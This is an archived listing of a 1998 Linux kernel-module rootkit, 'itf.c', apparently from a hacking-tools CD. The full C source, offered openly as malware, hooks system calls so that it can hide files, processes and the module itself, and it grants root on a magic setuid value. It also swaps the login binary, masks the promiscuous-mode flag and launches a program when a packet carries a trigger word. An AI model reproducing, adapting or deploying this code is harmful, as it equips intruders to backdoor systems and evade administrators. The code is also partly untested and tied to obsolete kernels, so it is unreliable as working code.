home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / trojans / modart.c < prev   
Encoding:
C/C++ Source or Header  |  1998-08-13  |  13.0 KB  |  605 lines

  1. /*
  2.  * itf.c v0.8
  3.  * Linux Integrated Trojan Facility
  4.  * (c) plaguez - w00w00 Security Development (WSD)
  5.  * This isn't fully tested code. Use at your own risks.
  6.  */
  7.  
  8.  
  9. #define MODULE
  10. #define __KERNEL__
  11.  
  12.  
  13. #include <linux/config.h>
  14. #ifdef MODULE
  15. #include <linux/module.h>
  16. #include <linux/version.h>
  17. #else
  18. #define MOD_INC_USE_COUNT
  19. #define MOD_DEC_USE_COUNT
  20. #endif
  21.  
  22. #include <linux/types.h>
  23. #include <linux/fs.h>
  24. #include <linux/mm.h>
  25. #include <linux/errno.h>
  26. #include <asm/segment.h>
  27. #include <asm/pgtable.h>
  28. #include <sys/syscall.h>
  29. #include <linux/dirent.h>
  30. #include <asm/unistd.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <sys/socketcall.h>
  34. #include <linux/netdevice.h>
  35. #include <linux/if.h>
  36. #include <linux/if_arp.h>
  37. #include <linux/if_ether.h>
  38. #include <linux/proc_fs.h>
  39. #include <stdio.h>
  40. #include <errno.h>
  41. #include <fcntl.h>
  42. #include <ctype.h>
  43.  
  44. /* Customization section 
  45.  * - RECVEXEC is the full pathname of the program to be launched when a packet
  46.  * containing the word HIDEMYNAME is received with recvfrom(). This program
  47.  * can be a shell script, but must be able to handle null **argv (I'm too lazy
  48.  * to write more than execve(RECVEXEC,NULL,NULL); :)
  49.  * - HIDEMYIP is written in the form that can be found in /proc/net/tcp.
  50.  * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
  51.  * when an execve() syscall occurs.
  52.  * - UID is the numeric uid that will give you root when a call to setuid(UID)
  53.  * is made (like Halflife's code)
  54.  * - files containing HIDEMYNAME in their full pathname will be invisible to
  55.  * a getdents() system call.
  56.  * - processes containing HIDEMYNAME in their process name will be hidden of the
  57.  * procfs tree.
  58.  */
  59. #undef ITF_READ
  60. #define HIDEMYNAME "plaguez"
  61. #define HIDEMYIP "07F"
  62. #define UID 31337
  63. #define OLDEXEC "/bin/login"
  64. #define NEWEXEC "/usr/bin/login"
  65. #define RECVEXEC "/tmp/test"
  66.  
  67.  
  68. /* old system calls vectors */
  69. int (*o_getdents) (uint, struct dirent *, uint);
  70. ssize_t(*o_readdir) (int, void *, size_t);
  71. int (*o_setuid) (uid_t);
  72. int (*o_execve) (const char *, const char *[], const char *[]);
  73. int (*o_ioctl) (int, int, unsigned long);
  74. int (*o_get_kernel_syms) (struct kernel_sym *);
  75. ssize_t(*o_read) (int, void *, size_t);
  76. int (*o_socketcall) (int, unsigned long *);
  77. /* entry points to brk() and fork() syscall. */
  78. static inline _syscall1(int, brk, void *, end_data_segment);
  79. static inline _syscall0(int, fork);
  80. static inline _syscall1(void,exit,int,status);
  81.  
  82. extern void *sys_call_table[];
  83. int errno;
  84.  
  85. char mtroj[] = HIDEMYNAME;
  86. char hidaddr[] = HIDEMYIP;
  87. int plaguez;
  88. int __NR_myexecve;
  89. int promisc;
  90.  
  91.  
  92.  
  93. /*
  94.  * Misc
  95.  */
  96. int myatoi(char *str)
  97. {
  98.     int res = 0;
  99.     int mul = 1;
  100.     char *ptr;
  101.  
  102.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  103.     if (*ptr < '0' || *ptr > '9')
  104.         return (-1);
  105.     res += (*ptr - '0') * mul;
  106.     mul *= 10;
  107.     }
  108.     return (res);
  109. }
  110.  
  111. void mybcopy(char *src, char *dst, unsigned int num)
  112. {
  113.     while (num--)
  114.     __put_user(__get_user(src++, 1), dst++, 1);
  115. }
  116.  
  117.  
  118. /*
  119.  * String-oriented functions
  120.  * (from user-space to kernel-space or invert)
  121.  */
  122. char *strstr_fromfs(char *m, char *m1)
  123. {                // m en userspace, m1 en kernelspace !!!
  124.  
  125.     int compt = 0;
  126.     char a;
  127.     char *m2 = m;
  128.     char *tmp = 0;
  129.  
  130.     while (((a = __get_user(m2, 1)) != '\0') && (compt < strlen(m1))) {
  131.     if (a == m1[compt]) {
  132.         compt++;
  133.         if (compt == 1)
  134.         tmp = m2;
  135.     } else {
  136.         tmp = 0;
  137.         compt = 0;
  138.     }
  139.     m2++;
  140.     }
  141.     return tmp;
  142. }
  143.  
  144. int strcmp_fromfs(char *s1, char *s2)
  145. {                // s1 kernelspace, s2 userspace !!!
  146.  
  147.     char *tmp = s2;
  148.     int compt = 0;
  149.  
  150.     while (s1[compt] == __get_user(tmp, 1) && __get_user(tmp, 1) != 0 && s1[compt] != 0) {
  151.     compt++;
  152.     tmp++;
  153.     }
  154.     if (compt == (strlen(s1)))
  155.     return 0;
  156.     else
  157.     return 1;
  158. }
  159.  
  160. char *strcpy_fromfs(char *dest, char *src)
  161. {
  162.     char t;
  163.     int compt = 0;
  164.  
  165.     while ((t = __get_user((char *) &src[compt], 1) != 0))
  166.     dest[compt++] = t;
  167.  
  168.     return dest;
  169. }
  170.  
  171.  
  172. char *strncpy_fromfs(char *dest, const char *src, int n)
  173. {
  174.     char t, *tmp = src;
  175.     int compt = 0;
  176.  
  177.     do {
  178.     dest[compt++] = __get_user(tmp++, 1);
  179.     }
  180.     while ((dest[compt - 1] != '\0') && (compt != n));
  181.  
  182.     return dest;
  183. }
  184.  
  185.  
  186.  
  187.  
  188. struct task_struct *get_task(pid_t pid)
  189. {
  190.     struct task_struct *p = current;
  191.     do {
  192.     if (p->pid == pid)
  193.         return p;
  194.     p = p->next_task;
  195.     }
  196.     while (p != current);
  197.     return NULL;
  198.  
  199. }
  200.  
  201. /* the following function comes from fs/proc/array.c */
  202. static inline char *task_name(struct task_struct *p, char *buf)
  203. {
  204.     int i;
  205.     char *name;
  206.  
  207.     name = p->comm;
  208.     i = sizeof(p->comm);
  209.     do {
  210.     unsigned char c = *name;
  211.     name++;
  212.     i--;
  213.     *buf = c;
  214.     if (!c)
  215.         break;
  216.     if (c == '\\') {
  217.         buf[1] = c;
  218.         buf += 2;
  219.         continue;
  220.     }
  221.     if (c == '\n') {
  222.         buf[0] = '\\';
  223.         buf[1] = 'n';
  224.         buf += 2;
  225.         continue;
  226.     }
  227.     buf++;
  228.     }
  229.     while (i);
  230.     *buf = '\n';
  231.     return buf + 1;
  232. }
  233.  
  234.  
  235.  
  236. int invisible(pid_t pid)
  237. {
  238.     struct task_struct *task = get_task(pid);
  239.     int done = 0;
  240.     long i;
  241.     char *buffer;
  242.     if (task) {
  243.     buffer = kmalloc(200, GFP_KERNEL);
  244.     memset(buffer, 0, 200);
  245.     task_name(task, buffer);
  246.     if (strstr(buffer, (char *) &mtroj)) {
  247.         kfree(buffer);
  248.         return 1;
  249.     }
  250.     }
  251.     return 0;
  252. }
  253.  
  254.  
  255.  
  256. /*
  257.  * New system calls
  258.  */
  259.  
  260. int n_get_kernel_syms(struct kernel_sym *table)
  261. {
  262.     struct kernel_sym *tb;
  263.     char *tmp, *tmp2;
  264.     int compt, compt2, compt3, i, done;
  265.  
  266.     compt = (*o_get_kernel_syms) (table);
  267.     if (table != NULL) {
  268.     tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
  269.     if (tb == 0) {
  270.         return compt;
  271.     }
  272.     compt2 = 0;
  273.     done = 0;
  274.     i = 0;
  275.     memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
  276.     while (!done) {
  277.         if ((tb[compt2].name)[0] == '#')
  278.         i = compt2;
  279.         if (!strcmp(tb[compt2].name, mtroj)) {
  280.         for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
  281.         if (compt3 != (compt - 1))
  282.             memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
  283.         else
  284.             compt = i;
  285.         done++;
  286.         }
  287.         compt2++;
  288.         if (compt2 == compt)
  289.         done++;
  290.  
  291.     }
  292.  
  293.     memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
  294.     kfree(tb);
  295.     }
  296.     return compt;
  297.  
  298. }
  299.  
  300. #ifdef ITF_READ
  301. int n_read(int fd, char *buf, size_t count)
  302. {
  303.     int res;
  304.     char *ptr, *match;
  305.     struct inode *dinode;
  306.  
  307.     res = (*o_read) (fd, buf, count);
  308.  
  309. #ifdef __LINUX_DCACHE_H
  310.     dinode = current->files->fd[fd]->f_dentry->d_inode;
  311. #else
  312.     dinode = current->files->fd[fd]->f_inode;
  313. #endif
  314.  
  315.     if (res < 0 || MAJOR(dinode->i_dev))
  316.     return (res);
  317.  
  318.     ptr = buf;
  319.     switch (dinode->i_ino) {
  320. #ifdef ITF_STEALTH
  321.     case PROC_MODULES:
  322.     while (ptr < buf + res) {
  323.         if (!strcmp_fromfs("itf", ptr)) {
  324.         match = ptr;
  325.         while (__get_user(ptr, 1) && __get_user(ptr, 1) != '\n')
  326.             ptr++;
  327.         ptr++;
  328.         mybcopy(ptr, match, (buf + res) - ptr);
  329.         res = res - (ptr - match);
  330.         return (res);
  331.         }
  332.         while (__get_user(ptr, 1) && __get_user(ptr, 1) != '\n')
  333.         ptr++;
  334.         ptr++;
  335.     }
  336.     break;
  337. #endif
  338. #ifdef 0
  339.     case PROC_NET_TCP:
  340.  
  341.     break;
  342. #endif
  343.     default:
  344.     break;
  345.     }
  346.     return (res);
  347. }
  348. #endif
  349.  
  350.  
  351.  
  352. /*
  353.  * how it works:
  354.  * I need to allocate user memory. To do that, I'll do exactly as malloc() does
  355.  * it (changing the break value).
  356.  */
  357.  
  358. int my_execve(const char *filename, const char *argv[], const char *envp[])
  359. {
  360.     long __res;
  361.     __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
  362.     return (int) __res;
  363. }
  364.  
  365. int n_execve(const char *filename, const char *argv[], const char *envp[])
  366. {
  367.     char *test;
  368.     int ret, tmp;
  369.     char *truc = OLDEXEC;
  370.     char *nouveau= NEWEXEC;
  371.     unsigned long mmm;
  372.  
  373.     test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
  374.     (void) strncpy_fromfs(test, filename, strlen(truc));
  375.     test[strlen(truc)] = '\0';
  376.     if (!strcmp(test, truc)) {
  377.     kfree(test);
  378.     mmm = current->mm->brk;
  379.     ret = brk((void *) (mmm + 256));
  380.     if (ret < 0)
  381.         return ret;
  382.     memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  383.     ret = my_execve((char *) (mmm + 2), argv, envp);
  384.     tmp = brk((void *) mmm);
  385.     } else {
  386.     kfree(test);
  387.     ret = my_execve(filename, argv, envp);
  388.     }
  389.     return ret;
  390.  
  391. }
  392.  
  393.  
  394. /*
  395.  * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
  396.  * If we reset the PROMISC flag when the trojan is already running, then it
  397.  * won't hide it anymore (needed otherwise you'd just have to do an
  398.  * "ifconfig eth0 +promisc" to find the trojan).
  399.  */
  400. int n_ioctl(int d, int request, unsigned long arg)
  401. {
  402.     int tmp, n, t;
  403.     struct ifreq ifr;
  404.  
  405.     tmp = (*o_ioctl) (d, request, arg);
  406.     if (request == SIOCGIFFLAGS && !promisc) {
  407.     memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  408.     ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
  409.     memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
  410.     } else if (request == SIOCSIFFLAGS) {
  411.     memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  412.     if (ifr.ifr_flags & IFF_PROMISC)
  413.         promisc = 1;
  414.     else if (!(ifr.ifr_flags & IFF_PROMISC))
  415.         promisc = 0;
  416.     }
  417.     return tmp;
  418.  
  419. }
  420.  
  421.  
  422. /*
  423.  * trojan setuid() system call.
  424.  */
  425. int n_setuid(uid_t uid)
  426. {
  427.     int tmp;
  428.  
  429.     if (uid == UID) {
  430.     current->uid = 0;
  431.     current->euid = 0;
  432.     current->gid = 0;
  433.     current->egid = 0;
  434.     return 0;
  435.     }
  436.     tmp = (*o_setuid) (uid);
  437.     return tmp;
  438. }
  439.  
  440.  
  441. /*
  442.  * trojan getdents() system call. 
  443.  */
  444. int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  445. {
  446.     unsigned int tmp, n, m;
  447.     int t, proc = 0;
  448.     struct inode *dinode;
  449.     struct dirent *dirp2, *dirp3;
  450.  
  451.     tmp = (*o_getdents) (fd, dirp, count);
  452.  
  453. #ifdef __LINUX_DCACHE_H
  454.     dinode = current->files->fd[fd]->f_dentry->d_inode;
  455. #else
  456.     dinode = current->files->fd[fd]->f_inode;
  457. #endif
  458.  
  459.     if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  460.     proc = 1;
  461.     if (tmp > 0) {
  462.     dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  463.     memcpy_fromfs(dirp2, dirp, tmp);
  464.     dirp3 = dirp2;
  465.     t = tmp;
  466.     while (t > 0) {
  467.         n = dirp3->d_reclen;
  468.         t -= n;
  469.         if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
  470.         ||(proc && invisible(myatoi(dirp3->d_name)))) {
  471.         if (t != 0)
  472.             memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  473.         else
  474.             dirp3->d_off = 1024;
  475.         tmp -= n;
  476.         }
  477.         if (dirp3->d_reclen == 0) {
  478.         /*
  479.          * workaround for some shitty fs drivers that do not properly
  480.          * feature the getdents syscall.
  481.          */
  482.         tmp -= t;
  483.         t = 0;
  484.         }
  485.         if (t != 0)
  486.         dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  487.  
  488.  
  489.     }
  490.     memcpy_tofs(dirp, dirp2, tmp);
  491.     kfree(dirp2);
  492.     }
  493.     return tmp;
  494.  
  495. }
  496.  
  497.  
  498. /*
  499.  * Trojan socketcall system call
  500.  * executes a given binary when a packet containing the magic word is received.
  501.  * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
  502.  */
  503.  
  504.  
  505. int n_socketcall(int call, unsigned long *args)
  506. {
  507.     int ret, ret2, compt;
  508.     char *t = RECVEXEC;
  509.     unsigned long *sargs = args;
  510.     unsigned long a0, a1, mmm;
  511.     void *buf;
  512.  
  513.     ret = (*o_socketcall) (call, args);
  514.  
  515.     if (ret > 0 && call == SYS_RECVFROM) {
  516.     a0 = get_user(sargs);
  517.     a1 = get_user(sargs + 1);
  518.     buf = kmalloc(ret, GFP_KERNEL);
  519.     memcpy_fromfs(buf, (void *) a1, ret);
  520.     for (compt = 0; compt < ret; compt++)
  521.         if (((char *) (buf))[compt] == 0)
  522.         ((char *) (buf))[compt] = 1;
  523.     if (strstr(buf, mtroj)) {
  524.         kfree(buf);
  525.         ret2 = fork();
  526.         if (ret2 == 0) {
  527.         mmm = current->mm->brk;
  528.         ret2 = brk((void *) (mmm + 256));
  529.            printk("!BRK RET=%i!",ret2);
  530.         memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
  531.            printk("!MEMCPY OK!");
  532. /* Hope the execve has been successfull otherwise you'll have 2 copies of the
  533.  master process in the ps list :] */
  534.            ret2 = my_execve((char *) mmm + 2, NULL, NULL);
  535.   printk("!EXECRETOUR!");
  536.            exit(0);
  537.  
  538.         }
  539.     }
  540.     }
  541.     return ret;
  542. }
  543.  
  544.  
  545.  
  546.  
  547.  
  548. /*
  549.  * module initialization stuff.
  550.  */
  551. int init_module(void)
  552. {
  553.  
  554.     o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
  555.     sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
  556.  
  557. #ifdef ITF_READ
  558.     o_read = sys_call_table[SYS_read];
  559.     sys_call_table[SYS_read] = (void *) n_read;
  560. #endif
  561.  
  562.     o_getdents = sys_call_table[SYS_getdents];
  563.     sys_call_table[SYS_getdents] = (void *) n_getdents;
  564.  
  565.     o_setuid = sys_call_table[SYS_setuid];
  566.     sys_call_table[SYS_setuid] = (void *) n_setuid;
  567.  
  568.     __NR_myexecve = 164;
  569.     while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  570.     __NR_myexecve--;
  571.     o_execve = sys_call_table[SYS_execve];
  572.     if (__NR_myexecve != 0) {
  573.     sys_call_table[__NR_myexecve] = o_execve;
  574.     sys_call_table[SYS_execve] = (void *) n_execve;
  575.     }
  576.     promisc = 0;
  577.     o_ioctl = sys_call_table[SYS_ioctl];
  578.     sys_call_table[SYS_ioctl] = (void *) n_ioctl;
  579.  
  580.     o_socketcall = sys_call_table[SYS_socketcall];
  581.     sys_call_table[SYS_socketcall] = (void *) n_socketcall;
  582.     return 0;
  583.  
  584. }
  585.  
  586.  
  587. void cleanup_module(void)
  588. {
  589.  
  590.     sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
  591.     sys_call_table[SYS_getdents] = o_getdents;
  592.     sys_call_table[SYS_setuid] = o_setuid;
  593.     sys_call_table[SYS_socketcall] = o_socketcall;
  594.  
  595.     if (__NR_myexecve != 0)
  596.     sys_call_table[__NR_myexecve] = 0;
  597.     sys_call_table[SYS_execve] = o_execve;
  598.  
  599.     sys_call_table[SYS_ioctl] = o_ioctl;
  600. #ifdef ITF_READ
  601.     sys_call_table[SYS_read] = o_read;
  602. #endif
  603.  
  604. }
  605.